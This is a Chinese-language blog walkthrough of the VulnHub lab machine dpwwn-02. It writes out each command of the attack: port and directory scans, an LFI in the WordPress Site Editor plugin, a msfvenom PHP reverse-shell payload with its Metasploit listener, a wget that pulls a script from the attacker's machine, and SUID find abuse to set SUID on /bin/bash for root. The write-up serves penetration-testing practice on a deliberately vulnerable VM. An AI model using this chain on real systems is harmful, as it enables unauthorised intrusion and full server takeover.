難度:中等+
靶機發布日期:2019年8月8日
靶機描述:This boot2root is a linux based virtual machine and has been tested using VMware workstation.
Difficulty: Intermediate++ and fun.
Goal: Get the root shell i.e.(root@dpwwn-02:~#) and then obtain flag under /root(dpwwn-02-FLAG.txt).
Networking
DHCP service: Disabled
Static IP address: 10.10.10.10
Note: Host only network adapter set (VM IP: 10.10.10.10/24)
博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]
工具、知識點和漏洞
- nmap
- gobuster
- searchsploit
- metaspaloit
- msfvenom
0x00、網絡初始化
第一步,設置VMware的vmnet1(Host only)的子網IP爲10.10.10.0,子網掩碼255.255.255.0。
如果你也是用的Linux宿主機,那麼需要通過命令行打開vmware,且使用root權限:
sudo vmware
才能修改VMware的網絡配置。
第二步,設置靶機的網絡爲Host only。
第三步,配置kali的網絡爲Host only,手動其網絡。
ifconfig eth0 10.10.10.12 netmask 255.255.255.0
0x01、信息收集
靶機IP:10.10.10.10
端口和服務
nmap -sS -sV -A -T5 -p- 10.10.10.10 --system-dns
頁面、目錄枚舉
dirb http://10.10.10.10 -X .php,.txt,.zip,.html
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
http://10.10.10.10/
wpscan掃描,現在使用wpscan需要使用官方的api-token,這個可以自己註冊一個免費賬號,但是掃描的時候報錯了,看了一下因爲kali現在連接不了外網,解決辦法是把kali的網絡連接模式改成NAT,這樣既可以訪問靶機也可以訪問外網。
檢測到如下漏洞:
site editor插件存在LFI漏洞,http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
嘗試掛載nfs共享,提示被服務器拒絕了,想到有可能是網絡的問題,所以修改kali的網絡設置爲host only,然後用ifconfig臨時配置了kali的IP爲10.10.10.12,之後成功掛載
0x01、getshell
用LFI配合NFS共享打一波組合拳,反彈一下shell
ifconfig命令查看kali的IP:10.10.10.12
第一步,msfvenom生成webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.12 LPORT=1234 R > shell.php
!!!
注意:使用時需要去掉最開頭的兩個字符/*
,不然瀏覽器訪問反彈shell的php網頁會看到/*,並且無法反彈shell.
第二步,msfconsole接收反彈的shell
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
第三步,使用curl或者瀏覽器發起請求
curl http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php\?ajax_path\=/home/dpwwn02/webshell.php
獲取shell之後的第一步使用Python獲取一個tty
python -c 'import pty; pty.spawn("/bin/bash")'
0x02、提權
關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux
先在kali上開啓HTTP服務
python -m SimpleHTTPServer 65534
使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄
因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
爲了便於查看收集到的信息,我將結果輸出到report.txt文本中
python linuxprivchecker.py > report.txt
靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。
SUID權限可執行文件,發現find命令具有SUID權限
find / -perm -u=s -type f 2>/dev/null
想直接使用find反彈shell的,結果因爲靶機是Ubuntu系統,出於安全考慮默認是無法使用-e參數的
使用SUID權限的find命令提權時主要是利用它的-exec參數,比如,執行nc命令;配合cat 讀取/etc/shadow。感覺還是賊好玩的~
本來想用echo往/etc/passwd添加一個超管用戶的,結果提示沒有權限……
嗯~這怎麼難得到我,SUID權限的/bin/bash可以提權,對吧~那我們來一波騷氣的操作。用find配合chmod給/bin/bash賦予SUID權限。
find hack -exec chmod u+s /bin/bash \;
如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.